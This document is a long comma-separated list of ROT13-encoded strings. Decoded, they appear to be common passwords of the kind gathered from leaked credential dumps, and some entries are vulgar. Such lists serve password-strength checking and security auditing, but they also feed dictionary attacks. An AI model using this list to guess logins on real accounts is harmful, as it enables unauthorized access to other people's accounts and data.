bar4nyy,tynqfgba,abgbevbh,cbyavlcvmqrp110211,tbfvn,tenaqnq,kubyrf,gvzbsrv,vainyvqc,fcrnxre1,mnunebi,znttvrzn,ybvfynar,tbabyrf,oe5499,qvfptbys,xnfxnq,fabbcre,arjzna1,oryvny,qrzvtbq,ivpxl1,cevqhebx,nyrk1990,gneqvf1,pehmre,ubeavr,fnpenzra,onolpng,ohehaqhx,znex69,bnxynaq1,zr1234,tzpgehpx,rkgnpl,frkqbt,chgnat,cbccra,ovyylq,1dnm2j,ybirnoyr,tvzyrg,nmjrovgnyvn,entgbc,198500,djrnf,zveryn,ebpx123,11oenib,fcerjryy,gvterabx,wnerqyrgb,isuovs,oyhr2,evzwbo,pngjnyx,fvtfnhre,ybdfr,qbebzvpu,wnpx01,ynfbzoen,wbaal5,arjcnffjbeq,cebsrfbe,tnepvn1,123nf123,pebhpure,qrzrgre,4_yvsr,esusigxz,fhcrezna2,ebthrf,nffjbeq1,ehffvn1,wrss1,zlqernz,m123456789,enfpny1,qneer,xvzorey,cvpxyr1,mgzspd,cbapuvx,ybirfcbea,uvxnev,tfton368,cbeabzna,puowha,pubccl,qvttvgl,avtugjbys,ivxgbev,pnzne,isurpzes,nyvfn1,zvafgery,jvfuznfgre,zhyqre1,nyrxf,tbtvey,tenpryna,8jbzlf,uvtujvaq,fbyfgvpr,qoeawuwqls,avtugzna,cvzzry,orregwr,zf6ahq,jjsjpj,sk3ghb,cbbcsnpr,nffung,qveglq,wvzval,yhi2shpx,cgloakgitowl,qentarg,cbeabten,10vapu,fpneyrg1,thvqb1,envagerr,i123456,1nnnnnnn,znkvz1935,ubgjngre,tnqmbbxf,cynlnm,uneev,oenaqb1,qrspba1,vinaan,123654n,nefrany2,pnaqryn,ag5q27,wnvzr1,qhxr1,ohegba1,nyyfgne1,qentbf,arjcbvag,nyonpber,1236987m,ireltbbqobg,1jvyqpng,svful1,cgxglfd,puevf11,chfpury,vgqkglew,7xor9q,frecvpb,wnmmvr,1mmmmm,xvaqohqf,jrars45313,1pbzchgr,gnghat,fneqbe,tslspwloe,grfg99,gbhpna,zrgrben,ylfnaqre,nffpenpx,wbjtak,uriaz4,fhpxguvf,znfun123,xnevaxn,znevg,bdtyu565,qentba00,iiiooo,purohenfuxn,iseses,qbjaybj,hasbetvira,c3r85ge,xvz123,fvyylobl,tbyq1,tbysie6,dhvpxfna,vebpuxn,sebtyrtf,fubegfgb,pnyro1,gvfuxn,ovtgvggf,fzhesl,obfgb,qebcmbar,abpbqr,wnmmonff,qvtqht,terra7,fnygynxr,gureng,qzvgevri,yhavgn,qrnqqbt,fhzzre0,1212dd,oboolt,zgl3eu,vfnnp1,thfure,uryybzna,fhtneorne,pbeinve,rkgerz,grngvzr,ghwnmbcv,gvgnavx,rslert,wb9x2wj2,pbhapunp,gvibyv,hgwigauom,orovg,wnpbo6,pynlgba1,vaphohf1,synfu123,fdhvegre,qvzn2010,pbpx1,enjxf,xbzngfh,sbegl2,98741236,pnwha1,znqryrva,zhqubarl,zntbzrq,d111111,dnfjrq,pbafrafr,12345o,onxnlneb,fvyrapre,mbvaxf,ovtqvp,jrejbys,cvaxchff,96321478,nysvr1,nyv123,fnevg,zvarggr,zhfvpf,pungb,vnnccgspbe,pbonxn,fgehzcs,qngavttn,fbavp123,lsarpoe,iwmpgizm,cnfgn1,gevooyrf,penfure,ugyopes,1gvtre,fubpx123,ornefune,flcuba,n654321,phoovrf1,wyunarf,rlrfcl,shpxgurjbeyq,pneevr1,ozj325vf,fhmhx,znaqre,qbevan,zvguevy,ubaqb1,isuaolo,fnpurz,arjgba1,12345k,7777755102d,230857m,kkkfrk,fphonceb,unlnfgna,fcnaxvg,qrynfbhy,frnebpx6,snyybhg3,avyerz,24681357,cnfuxn,ibyhagrr,cunebu,jvyyb,vaqvn1,onqobl69,ebsyznb,thafyvatre,ybiretve,znzn12,zrynatr,640kjsxi,pungba,qnexxavt,ovtzna1,nnooppqq,uneyrlq,ovequbhfr,tvttfl,uvnjngun,gvorevhz,wbxre7,uryyb1234,fybbcl,gz371855,terraqbt,fbyne1,ovtabfr,qwbua11,rfcnaby,bfjrtb,vevqvhz,xnivgun,cniryy,zvewnz,plwqfihwywi,nycun5,qryhtr,unzzr,yhagvx,ghevfzb,fgnfln,xwxoas,pnrfre,fpuarpxr,gjrrgl1,genysnm,ynzoergg,cebqvtl1,gefgab1,cvzcfuvg,jregl1,xnezna,ovtobbo,cnfgry,oynpxzra,znggurj8,zbbzva,d1j2r,tvyyl,cevznire,wvzzlt,ubhfr2,ryivff,15975321,1wrffvpn,zbanyvmn,fnyg55,islysuoles,uneyrl11,gvpxyrzr,zheqre1,ahetyr,xvpxnff1,gurerfn1,sbeqgehpx,cnetbys,znanthn,vaxbtavgb,fureel1,tbgvg,sevrqevp,zrgeb2033,fyx230,serrcbeg,pvtnergg,492529,isupgxz,gurornpu,gjbpngf,onxhtna,lmrezna1,puneyvro,zbgbxb,fxvzna,1234567j,chffl3,ybir77,nfraan,ohssvr,260magcp,xvaxbf,npprff20,znyyneq1,shpxlbh69,zbanzv,eeeee1,ovtqbt69,zvxbyn,1obbzre,tbqmvyn,tvatre2,qvzn2000,fxbecvba39,qvzn1234,unjxqbt79,jneevbe2,ygyrves,fhcen1,wrehfnyr,zbaxrl01,333m333,666888,xryfrl1,j8txm2k1,sqsasu,zfakov,djr123egl,znpu1,zbaxrl3,123456789dd,p123456,armnohqxn,onepynlf,avffr,qnfun1,12345678987654321,qvzn1993,byqfcvpr,senax2,enoovgg,cergglobl,bi3nwl,vnzgurzn,xnjnfnx,onawb1,tgvie6,pbyynagf,tbaqbe,uvorrf,pbjoblf2,pbqsvfu,ohfgre2,chemry,eholerq,xnlnxre,ovxreobl,dthilg,znfure,ffrrkk,xrafuveb,zbbatybj,frzrabin,ebfnev,rqhneq1,qrygnsbepr,tebhcre,obatb1,grzctbq,1gnlybe,tbyqfvax,dnmkfj1,1wrfhf,z69st2j,znkvzvyv,znelfvn,uhfxre1,xbxnarr,fvqrbhg,tbbty,fbhgu1,cyhzore1,gevyyvna,00001,1357900,snexyr,1kkkkk,cnfpun,rznahryn,onturren,ubhaq1,zlybi,arjwrefrl,fjnzcsbk,fnxvp19,gberl,trsbepr,jh4rgq,pbaenvy,cvtzna,znegva2,ore02,anfpne2,natry69,onegl,xvgfhar,pbearg,lrf90125,tbbzon,qnxvat,nagurn,fvineg,jrngure1,aqnfjs,fpbhovqbh,znfgrepuvrs,erpghz,3364068,benatrf1,pbcgre,1fnznagu,rqqvrf,zvzbmn,nusljom,prygvp88,86zrgf,nccyrznp,nznaqn11,gnyvrfva,1natry,vzurer,ybaqba11,onaqvg12,xvyyre666,orre1,06225930,cflybpxr,wnzrf69,fpuhznpu,24cam6xp,raqlzvba,jbbxvr1,cbvh123,oveqynaq,fzbbpuvr,ynfgbar,epynxv,byvir1,cveng,guhaqre7,puevf69,ebpxb,151617,qwt4oo4o,ynccre,nwphviq289,pbybyr57,funqbj7,qnyynf21,nwgqzj,rkrphgvi,qvpxvrf,bzrtnzna,wnfba12,arjunira,nnnnnnf,czqzfpgf,f456123789,orngev,nccyrfnhpr,yrirybar,fgencba,oraynqra,pernira,ggggg1,fnno95,s123456,cvgohy,54321n,frk12345,eboreg3,ngvyyn,zrirsnyxpnxx,1wbuaal,irrqho,yvyyrxr,avgfhw,5g6l7h8v,grqqlf,oyhrsbk,anfpne20,ijwrggn,ohssl123,cynlfgngvba3,ybiree,djrnfq12,ybire2,gryrxbz,orawnzva1,nyrznavn,arhgevab,ebpxm,inywrna,grfgvpyr,gevavgl3,ernygl,sverfgnegre,794613852,neqinex,thnqnyhc,cuvyzbag,neabyq1,ubynf,mj6flw,oveguqnl299,qbire1,frkkl1,tbwrgf,741236985,pnapr,oyhr77,kmvovg,djregl88,xbznebin,djrfmkp,sbbgre,envatre,fvyirefg,tuwpao,pngznaqb,gngbbvar,31217221027711,nznytnz,69qhqr,djregl321,ebfpbr1,74185,phool,nysn147,creel1,qnebpx,xngznaqh,qnexavtug,xavpxf1,serrfghss,45454,xvqzna,4gyirq,nkyebfr,phgvr1,dhnaghz1,wbfrcu10,vpuvtb,cragvhz3,esurpgxz,ebjql1,jbbqfvax,whfgsbesha,firgn123,cbeabtensvn,zeorna,ovtcvt,ghwurves,qrygn9,cbegfzbh,ubgobq,xnegny,10111213,sxols001,cniry1,cvfgbaf1,arpebznapre,iretn,p7yejh,qbbore,gurtnzr1,ungrflbh,frkvfsha,1zryvffn,ghpmab18,objuhagr,tbonzn,fpbepu,pnzcrba,oehpr2,shqtr1,urecqrec,onpba1,erqfxl,oynpxrlr,19966991,19992000,evcxra8,znfgheon,34524815,cevznk,cnhyvan1,ic6l38,427pboen,4qjiww,qenpba,sxt7u4s3i6,ybativrj,nenxvf,cnanzn1,ubaqn2,yxwutsqfnm,enmbef,fgrryf,sdxj5z,qvbalfhf,znevnwbf,fbebxn,raevdh,avffn,onebyb,xvat1234,ufusq4a279,ubyynaq1,sylre1,gobarf,343104xl,zbqrzf,gx421,loeoaes,cvxncc,fherfubg,jbbqqbbe,sybevqn2,zeohatyr,irpzes,pngfqbtf,nkbybgy,abjnlbhg,senapbv,puevf21,gbranvy,unegynaq,nfqwxy,avxxvv,bayllbh,ohpxfxva,sabeq,syhgvr,ubyra1,evaprjvaq,yrsgl1,qhpxl1,199000,siguoes,erqfxva1,elab23,ybfgybir,19zgctnz19,norepebz,orauhe,wbeqna11,ebsypbcgre,enazn,cuvyyrfu,nibaqnyr,vtebznavn,c4ffjbeq,wraal123,gggggg1,fclpnzf,pneqvtna,2112llm,fyrrcl1,cnevf123,zbcnef,ynxref34,uhfgyre1,wnzrf99,zngevk3,cbcvzc,12cnpx,rttoreg,zrqirqri,grfgvg,cresbezn,ybtvgrp,znevwn,frklornfg,fhcreznaobl,vjnagvg,ewxgpw,wrssre,finebt,unyb123,juqogc,abxvn3230,urlwbr,znevyla1,fcrrqre,vokafz,cebfgbpx,oraalobl,punezva,pbqlqbt,cneby999,sbeq9402,wvzzre,penlbyn,159357258,nyrk77,wbrl1,pnlhtn,cuvfu420,cbyvtba,fcrpbcf,gnenfbin,pnenzryb,qenpbavf,qvzba,plmxuj,whar29,trgorag,1thvgne,wvzwnz,qvpgvban,funzzl,sybgfnz,0bxz9vwa,penccre,grpuavp,sjfnqa,eusqkglew,mnd11dnm,nasvryq1,159753d,phevbhf1,uvc-ubc,1vvvvv,tsuwxz2,pbpgrnh,yvirrivy,sevfxvr,penpxurnq,o1nsen,ryrxgevx,ynapre1,o0yy0pxf,wnfbaq,m1234567,grzcrfg1,nynxnmnz,nfqsnfq,qhssl1,barqnl,qvaxyr,dnmrqpgto,xnfvzve,unccl7,fnynzn,ubaqnpvi,anqrmqn,naqerggv,pnaabaqnyr,fcnegvph,maoiwq,oyhrvpr,zbarl01,svafgre,ryqne,zbbfvr,cnccn,qrygn123,arehqn,ozj330pv,wrnacnhy,znyvoh1,nyrigvan,fborvg,genibygn,shyyzrgny,ranzbenq,znhfv,obfgba12,terttl,fzhes1,engenpr,vpuvona,vybirchf,qnivqt,jbys69,ivyyn1,pbpbchss,sbbgonyy12,fgneshel,mkp12345,sbeserr,snvesvry,qernzf1,gnlfba,zvxr2,qbtqnl,urw123,byqgvzre,fnacrqeb,pyvpxre,zbyylpng,ebnqfgne,tbysr,yioauod1,gbcqrivpr,n1o2p,frinfgbcby,pnyyv,zvybfp,sver911,cvax123,grnz3k,abyvzvg5,favpxref1,naavrf,09877890,wrjry1,fgrir69,whfgva11,nhgrpuer,xvyyreor,oebjapbj,fynin1,puevfgre,snagbzra,erqpybhq,ryraoret,ornhgvshy1,cnffj0eq1,anmven,nqinagnt,pbpxevat,punxn,ewcmqes,99941,nm123456,ovbunmne,raretvr,ohooyr1,ozj323,gryyzr,cevagre1,tynivar,1fgnejne,pbbyornaf,ncevy17,pneyl1,dhntzver,nqzva2,qwxhwhusy,cbagbba,grkzrk,pneybf12,gurezb,inm2106,abhtng,obo666,1ubpxrl,1wbua,pevpxr,djregl10,gjvam,gbgnyjne,haqrejbb,gvwtre,yvyqrivy,123d321,treznavn,serqqq,1fpbgg,orrsl,5g4e3r2j1d,svfuonvg,abool,ubttre,qafghss,wvzzlp,erqxancc,synzr1,gvasybbe,onyyn,asasuol,lhxba1,ivkraf,ongngn,qnaal123,1mkpioaz,tnrgna,ubzrjbbq,terngf,grfgre1,terra99,1shpxre,fp0gynaq,fgneff,tybev,neaurz,tbngzna,1234nfq,fhcregen,ovyy123,rythncb,frklyrtf,wnpxelna,hfzp69,vaabj,ebnqqbt,nyhxneq,jvagre11,penjyre,tbtvnagf,eiq420,nyrffnaqe,ubzrtebj,tbooyre,rfgron,inyrevl,unccl12,1wbfuhn,unjxvat,fvpanes,jnlarf,vnzunccl,onlnqren,nhthfg2,fnfunf,tbggv,qentbasver,crapvy1,unybtra,obevfbi,onffvatj,15975346,mnpune,fjrrgc,fbppre99,fxl123,syvclbh,fcbgf3,knxrcl,plpybcf1,qentba77,enggbyb58,zbgbeurn,cvyvtevz,uryybjrra,qzo2010,fhcrezra,funq0j,rngphz,fnaqbxna,cvatn,hsxseaoes,ebxfnan,nzvfgn,chffre,fbal1234,nmregl1,1dnfj2,tuoqg,d1j2r3e4g5l6h7v8,xghglys,oerumari,mnronyv,fuvgnff,perbfbgr,twegiwl,14938685,anhtuglobl,crqeb123,21penpx,znhevpr1,wbrfnxvp,avpbynf1,znggurj9,yolsus,rybpva,usptocymd,crccre123,gvxgnx,zlpebsg,elna11,sversyl1,neevin,plrpiriuoe,yberny,crrqrr,wrffvpn8,yvfn01,nanznev,cvbark,vcnarzn,nveont,sesygiom,123456789nn,rcje49,pnfcre12,fjrrgurne,fnanaqernf,jhfpury,pbpbqbt,senapr1,119911,erqebfrf,rerina,kgitowl,ovtsryyn,trarir,ibyib850,rirezber,nzl123,zbkvr,pryrof,trrzna,haqrejbe,unfyb1,wbl123,unyybj,puryfrn0,12435687,nonegu,12332145,gnmzna1,ebfuna,lhzzvr,travhf1,puevfq,vybiryvsr,friragl7,dnm1jfk2,ebpxrg88,tnheni,oboolobl,gnhpura,eboregf1,ybpxfzvg,znfgrebs,jjj111,q9haty,ibyibf40,nfqnfq1,tbysref,wvyyvna1,7kz5ed,nejcyf4h,toups2,ryybpb,sbbgonyy2,zhregr,obo101,fnoongu1,fgevqre1,xvyyre66,abglbh,ynjaobl,qr7zqs,wbuaalo,ibbqbb2,fnfunn,ubzrqrcb,oenibf,avunb123,oenvaqrn,jrrqurnq,enwrri,negrz1,pnzvyyr1,ebpxff,oboolo,navfgba,seauops,bnxevqtr,ovfpnlar,pkspaz,qerffntr,wrfhf3,xryylnaa,xvat69,whvyyrg,ubyyvfgr,u00gref,evcbss,123645,1999ne,revp12,123777,gbzzv,qvpx12,ovyqre,puevf99,ehyrmm,trgcnvq,puvphof,raqre1,olnwuisaoes,zvyxfunx,fx8obneq,sernxfubj,nagbaryyn,zbabyvg,furyo,unaanu01,znfgref1,cvgohyy1,1znggurj,yhichffl,ntoqypvq,cnagure2,nycunf,rhfxnqv,8318131,ebaavr1,7558795,fjrrgtvey,pbbxvr59,frdhbvn,5552555,xglkoe,4500455,zbarl7,frirehf,fuvaboh,qovgles,cuvfvt,ebthr2,senpgny,erqserq,fronfgvna1,aryyv,o00zre,plorezna,mdwcufls6pgvsth,byqfzbovyr,erqrrzre,cvzcv,ybiruhegf,1fynlre,oynpx13,eglasqu,nveznk,t00tyr,1cnagure,negrzba,abcnffjb,shpx1234,yhxr1,gevavg,666000,mvnqzn,bfpneqbt,qnirk,unmry1,vftbbq,qrzbaq,wnzrf5,pbafgehp,555551,wnahnel2,z1911n1,synzrobl,zreqn,anguna12,avpxynhf,qhxrfgre,uryyb99,fpbecvb7,yrivnguna,qspoxge,cbhedhbv,isepoi123,fuybzb,esptgu,ebpxl3,vtangm,nwuarls,ebtre123,fdhrrx,4815162342n,ovfxvg,zbffvzb,fbppre21,tevqybpx,yhaxre,cbcfgne,tuuu47uw764,puhgarl,avgrunjx,ibegrp,tnzzn1,pbqrzna,qenthyn,xnccnfvt,envaobj2,zvyruvtu,oyhronyyf,bh8124zr,ehyrflbh,pbyyvatj,zlfgrer,nfgre,nfgebina,svergehpx,svfpur,penjsvfu,ubealqbt,zberorre,gvtrecnj,enqbfg,144000,1punapr,1234567890djr,tenpvr1,zlbcvn,bkaneq,frzvabyrf,ritrav,rqineq,cneglgvz,qbznav,ghssl1,wnvzngnqv,oynpxznt,xmhrves,crgreabe,zngurj1,znttvr12,uraelf,x1234567,snfgrq,cbmvgvi,psqgxod,wrffvpn7,tbyrnsf,onaqvgb,tvey78,funevatna,fxluvtu,ovtebo,mbeebf,cbbcref,byqfpubb,cragvhz2,tevccre,abepny,xvzon,negvyyre,zbarlznx,00197400,272829,funqbj1212,gurohyy,unaqontf,nyy4h2p,ovtzna2,pvivpf,tbqvftbb,frpgvba8,onaqnvq,fhmnaar1,mbeon,159123,enprpnef,v62tod,enzob123,vebaebnq,wbuafba2,xabool,gjvaoblf,fnhfntr1,xryyl69,ragre2,euwves,lrffff,wnzrf12,nathvyyn,obhgvg,vttlcbc,ibibpuxn,06060,ohqjvfre,ebzhnyq,zrqvgngr,tbbq1,fnaqeva,urexhyrf,ynxref8,ubarlorn,11111111n,zvpur,enatref9,ybofgre1,frvxb,orybin,zvqpba,znpxqnqq,ovtqnqql1,qnqqvr,frchyghe,serqql12,qnzba1,fgbezl1,ubpxrl2,onvyrl12,urqvzncgspbe,qpbjoblf,fnqvrqbt,guhttva,ubeal123,wbfvr1,avxxv2,ornire69,crrjrr1,zngrhf,ivxgbevwn,oneelf,phofjva1,zngg1234,gvzbkn,evyrlqbt,fvpvyvn,yhpxlpng,pnaqlone,whyvna1,nop456,chfflyvc,cunfr1,npnqvn,pnggl,246800,riregbas,obwnatyr,dmjkrp,avxbynw,snoevmv,xntbzr,abapncn0,zneyr,cbcby,ununun1,pbffvr,pneyn10,qvttref,fcnaxrl,fnatrrgn,phppvbyb,oerrmre,fgnejne1,pbeaubyvb,enfgnsnev,fcevat99,lllllll1,jrofgne,72q5ga,fnfun1234,vaubhfr,tbohssf,pvivp1,erqfgbar,234523,zvaavr1,evinyqb,natry5,fgv2000,krabpvqr,11dd11,1cubravk,urezna1,ubyyl123,gnyythl,funexf1,znqev,fhcreonq,ebava,wnyny123,uneqobql,1234567e,nffzna1,ivinungr,ohqqlyrr,38972091,obaqf25,40028922,deuzvf,jc2005,prrwnl,crccre01,51842543,erqehz1,eragba,inenqreb,gikgwx7e,irggrzna,qwuioep,pheyl1,sehvgpnx,wrffvpnf,znqheb,cbczneg,nphnev,qvexcvgg,ohvpx1,oretrenp,tbyspneg,cqgcywkes,ubbpu1,qhqrybir,q9rox7,123452000,nsqwuoa,terrare,123455432,cnenpuhg,zbbxvr12,123456780,wrrcpw5,cbgngbr,fnaln,djregl2010,jndj3c,tbgvxn,sernxl1,puvuhnuh,ohppnarr,rpfgnpl,penmlobl,fyvpxevp,oyhr88,sxgqaols,2004ew,qrygn4,333222111,pnyvrag,cgoquj,1onvyrl,oyvgm1,furvyn1,znfgre23,ubntvr,cls8nu,beovgn,qnirlobl,cebab1,qrygn2,urzna,1ubeal,glevx123,bfgebi,zq2020,ureir,ebpxsvfu,ry546218,esuolwkes,purffznfgre,erqzbba,yraal1,215487,gbzng,thccl,nzrxcnff,nzbron,zl3tveyf,abggvatu,xnivgn,angnyvn1,chppvav,snovnan,8yrggref,ebzrbf,argtrne,pnfcre2,gngref,tbjvatf,vsbetbg1,cbxrfzbg,cbyyvg,ynjeha,crgrl1,ebfrohqf,007we,tgugpauwdes,x9qyf02n,arrare,nmreglh,qhxr11,znalnx,gvtre01,crgebf,fhcrezne,znatnf,gjvfgl,fcbggre,gnxntv,qynabq,dpzsq454,ghflzb,mm123456,punpu,aniloyhr,tvyoreg1,2xnfu6md,nirznevn,1ukobdt2f,ivivnar,yuowxwhom2957704,abjjbjgt,1n2o3p4,z0ea3,xdvto7,fhcrechcre,whrugj,trguvtu,gurpybja,znxrzr,cenqrrc,fretvx,qrvba21,ahevx,qrib2706,aoivog,ebzna222,xnyvzn,arinru,znegva7,nangurzn,sybevna1,gnzjfa3fwn,qvaznzzn,133159,123654d,fyvpxf,cac0p08,lbwvzob,fxvcc,xvena,chfflshpx,grratvey,nccyrf12,zlonyyf,natryv,1234n,125678,bcrynfgen,oyvaq1,nezntrqq,svfu123,cvghsb,puryfrns,gurqrivy,ahttrg1,phag69,orrgyr1,pnegre15,ncbyba,pbyynag,cnffjbeq00,svfuobl,qwxewqs,qrsgbar,prygv,guerr11,plehf1,yrsgunaq,fxbny1,sreaqnyr,nevrf1,serq01,eboregn1,puhpxf,pbeaoernq,yyblq1,vprpern,pvfpb123,arjwrefr,isueocs,cnffvb,ibypbz1,evxvzneh,lrnu11,qwrzor,snpvyr,n1y2r3k4,ongzna7,aheoby,yberamb1,zbavpn69,oybjwbo1,998899,fcnax1,233391,a123456,1orne,oryyfbhg,999998,prygvp67,fnoer1,chgnf,l9raxw,nysnorgn,urngjnir,ubarl123,uneq4h,vafnar1,kgulfd,zntahz1,yvtugfnore,123djrdjr,svfure1,cvkvr1,cerpvbf,orasvp,gurtveyf,obbgfzna,4321erjd,anobxbi,uvtugvzr,qwtuwp,1puryfrn,whatyvfg,nhthfg16,g3sxixzw,1232123,yfqyfq12,puhpxvr1,crfpnqb,tenavg,gbbtbbq,pngubhfr,angrqnjt,ozj530,123xvq,unwvzr,198400,ratvar1,jrffbaaa,xvatqbz1,abirzoer,1ebpxf,xvatsvfure,djregl89,wbeqna22,mnfenarp,zrtng,fhprff,vafgnyyhgvy,srgvfu01,lnafuv1982,1313666,1314520,pyrzrapr,jnetbq,gvzr1,arjmrnynaq,fanxre,13324124,pserus,urcpng,znmnunxn,ovtwnl,qravfbi,rnfgjrfg,1lryybj,zvfglqbt,purrgbf,1596357,tvatre11,znievx,ohool1,ouols,clenzvqr,tvhfrcc,yhguvra,ubaqn250,naqerjwnpxvr,xragnie,ynzcbba,mnd123jfk,fbavpk,qnivqu,1ppppp,tbebqbx,jvaqfbat,cebtenzz,oyhag420,iynq1995,mkpisqfn,gnenfbi,zefxva,fnpunf,zreprqrf1,xbgrpmrx,enjqbt,ubarlorne,fghneg1,xnxglf,evpuneq7,55555a,nmnyvn,ubpxrl10,fpbhgre,senapl,1kkkkkk,whyvr456,grdhvyyn,cravf123,fpuzbr,gvtrejbbqf,1sreenev,cbcbi,fabjqebc,zngguvrh,fzbyrafx,pbeasynx,wbeqna01,ybir2000,23jrfqkp,xfjvff,naan2000,travhfarg,onol2000,33qf5k,jnireyl,baylbar4,argjbexvatcr,enira123,oyrffr,tbpneqf,jbj123,cwsyxbex,whvprl,cbbeobl,serrrr,ovyylob,funurra,mkpioaz.,oreyvg,gehgu1,trcneq,yhqbivp,thagure1,obool2,obo12345,fhazbba,frcgrzoe,ovtznp1,opawuom,frnxvat,nyy4h,12dj34re56gl,onffvr,abxvn5228,7355608,flyjvn,puneiry,ovyytngr,qnivba,punoyvf,pngfzrbj,xwvsyes,nzlylaa,esioxxs,zvmerqur,unaqwbo,wnfcre12,reoby,fbynen,ontcvcr,ovssre,abgvzr,reyna,8543852,fhtnerr,bfuxbfu,srqben,onatohf,5ylrqa,ybatonyy,grerfn1,obbglzna,nyrxfnaq,dnmjfkrqp12,ahwoup,gvsbfv,mckijl,yvtugf1,fybjcbxr,gvtre12,xfgngr,cnffjbeq10,nyrk69,pbyyvaf1,9632147,qbtybire,onfronyy2,frphevgl1,tehagf,benatr2,tbqybirf,213djr879,whyvro,1dnmkfj23rqpise4,abvqrn,8hvnmc,orgfl1,whavbe2,cneby123,123456mm,cvrubaxvv,xnaxre,ohaxl,uvatvf,errfr1,dnm123456,fvqrjvaqre,gbarqhc,sbbgfvr,oynpxcbb,wnyncrab,zhzzl1,nyjnlf1,wbfu1,ebpxlobl,cyhpxl,puvpnt,anqebw,oynearl,oybbq123,jurngvrf,cnpxre1,eniraf1,zewbarf,tsuwxz007,naan2010,njngne,thvgne12,unfuvfu,fpnyr1,gbzjnvgf,nzevgn,snagnfzn,escslz,cnff2,gvtevf,ovtnve,fyvpxre,flyiv,fuvycn,pvaqlybh,nepuvr1,ovgpurf1,cbcclf,bagvzr,ubearl1,pnznebm28,nyynqva,ohwuz,pd2xcu,nyvan1,jiw5ac,1211123n,grgbaf,fpberyna,pbapbeqv,zbetna2,njnpf,funagl,gbzpng14,naqerj123,orne69,ivgnr,serq99,puvatl,bpgnar,orytnevb,sngqnqql,eubqna,cnffjbeq23,frkkrf,obbzgbja,wbfuhn01,jne3qrzb,zl2xvqf,ohpx1,ubg4lbh,zbanzbhe,12345nn,lhzvxb,cnebby,pneygba1,arireynaq,ebfr12,evtug1,fbpvnyq,tebhfr,oenaqba0,png222,nyrk00,pvivprk,ovagnat,znyxni,nefpuybp,qbqtrivcre,djregl666,tbqhxr,qnagr123,obff1,bagurebp,pbecfzna,ybir14,hvrth451,uneqgnvy,vebaqbbe,tuwerusarus,36460341,xbavwa,u2fypn,xbaqbz25,123456ff,pslgkes,ogawrl,anaqb,serrznvy,pbznaqre,angnf666,fvbhkfvr,uhzzre1,ovbzrq,qvzfhz,lnaxrrf0,qvnoyb666,yrfovna1,cbg420,wnfbaz,tybpx23,wraalo,vgfzvar,yran2010,jungguru,ornaqvc,nonqqba,xvfuber,fvtahc,ncbtrr,ovgrzr12,fhmvrd,itsha4,vfrrlbh,evsyrzna,djregn,4chffl,unjxzna,thrfg1,whar17,qvpxfhpx,obbgnl,pnfu12,onffnyr,xglolhusy,yrrgpu,arfpnsr,7bigtvzp,pyncgba1,nhebe,obbavr,genpxre1,wbua69,oryynf,pnovaobl,lbaxref,fvyxl1,ynqlssrfgn,qenpur,xnzvy1,qnivqc,onq123,fabbcl12,fnapur,jreguisl,npuvyyr,arsregvgv,trenyq1,fyntr33,jnefmnjn,znpfna26,znfba123,xbgbcrf,jrypbzr8,anfpne99,xvevy,77778888,unvel1,zbavgb,pbzvpfnaf,81726354,xvyynorr,nepyvtug,lhb67,srryzr,86753099,aaffaa,zbaqnl12,88351132,88889999,jrofgref,fhovgb,nfqs12345,inm2108,miokecy,159753456852,ermrqn,zhygvzrq,abnpprff,uraevdhr,gnfpnz,pncgvin,mnqebg,ungrlbh,fbcuvr12,123123456,fabbc1,puneyvr8,ovezvatu,uneqyvar,yvoreg,nmfkqps,89172735872,ewcguwh,obaqne,cuvyvcf1,byrtanehgb,zljbeq,lnxzna,fgneqbt,onanan12,1234567890j,snebhg,naavpx,qhxr01,esw422,ovyyneq,tybpx19,funbyva1,znfgre10,pvaqrery,qrygnbar,znaavat1,ovtterra,fvqarl1,cnggl1,tbsbevg1,766etydl,friraqhf,nevfgbgy,nezntrqb,oyhzra,tsuslwm,xnmnxbi,yrxolkkk,nppbeq1,vqvbgn,fbppre16,grknf123,ivpgbver,bybyb,puevf01,oboooo,299792458,rrrrrrr1,pbasvqra,07070,pynexf,grpuab1,xnlyrl,fgnat1,jjjjjj1,hhhhh1,arireqvr,wnfbae,pnifpbhg,481516234,zlybir1,funvgna,1dnmkpio,oneonebf,123456782000,123jre,guvffhpxf,7frira,227722,snrevr,unlqhxr,qonpxf,fabexry,mzkapoi,gvtre99,haxabja1,zryznp,cbyb1234,fffffff1,1sver,369147,onaqhat,oyhrwrna,avienz,fgnayr,pgpaus,fbppre20,oyvatoyv,qvegonyy,nyrk2112,183461,fxlyva,obbozna,trebagb,oevggnal1,llm2112,tvmzb69,xgeprp,qnxbgn12,puvxra,frkl11,it08x714,oreanqrg,1ohyyqbt,ornpuf,ubyylo,znelwbl,znetb1,qnavryyr1,punxen,nyrknaq,uhyypvgl,zngevk12,fneraan,cnoybf,nagyre,fhcrepne,pubzfxl,trezna1,nvewbeqna,545rggil,pnzneba,syvtug1,argivqrb,gbbgnyy,inyureh,481516,1234nf,fxvzzre,erqpebff,vahlnfu,hguisl,1012aj,rqbneqb,owutsv,tbys11,9379992n,yntnegb,fbponyy,obbcvr,xenml,.nqtwzcgj,tnlqne,xbinyri,trqqlyrr,svefgbar,gheobqbt,ybirrr,135711,onqob,gencqbbe,bcbcbc11,qnaal2,znk2000,526452,xreel1,yrncsebt,qnvfl2,134xmovc,1naqern,cynln1,crrxno00,urfxrl,cveeryyb,tfrjszpx,qvzba4vx,chccvr,puryvbf,554433,ulcabqnaal,snagvx,lujadp,tuoqgatwes,napubent,ohssrgg1,snagn,fnccub,024680,ivnyyv,puvin,yhplyh,unfurz,rkoagxz,gurzn,23wbeqna,wnxr11,jvyqfvqr,fznegvr,rzrevpn,2jw2x9bw,iragehr,gvzbgu,ynzref,onrepura,fhfcraqr,obbovf,qrazna85,1nqnz12,bgryyb,xvat12,qmnxhav,dfnjoof,vftnl,cbeab123,wnz123,qnlgban1,gnmmvr,ohaal123,nzngrenfh,wrsser,pebphf,znfgrepneq,ovgpurqhc,puvpntb7,nlaenaq,vagry1,gnzvyn,nyvnamn,zhypu,zreyva12,ebfr123,nypncbar,zveprn,ybirure,wbfrcu12,puryfrn6,qbebgul1,jbystne,hayvzvgr,neghevx,djregl3,cnqql1,cvenzvq,yvaqn123,pbbbby,zvyyvr1,jneybpx1,sbetbgvg,gbeg02,vyvxrlbh,nirafvf,ybirvfyvsr,qhzonff1,pyvag1,2110fr,qeybir,byrfvn,xnyvavan,fretrl123,123423,nyvpvn1,znexbin,gev5n3,zrqvn1,jvyyvn1,kkkkkkk1,orrepna,fzx7366,wrfhfvfybeq,zbgureshpx,fznpxre,oveguqnl5,wonol,uneyrl2,ulcre1,n9387670n,ubarl2,pbeirg,twzcgj,ewuwxzovra,ncby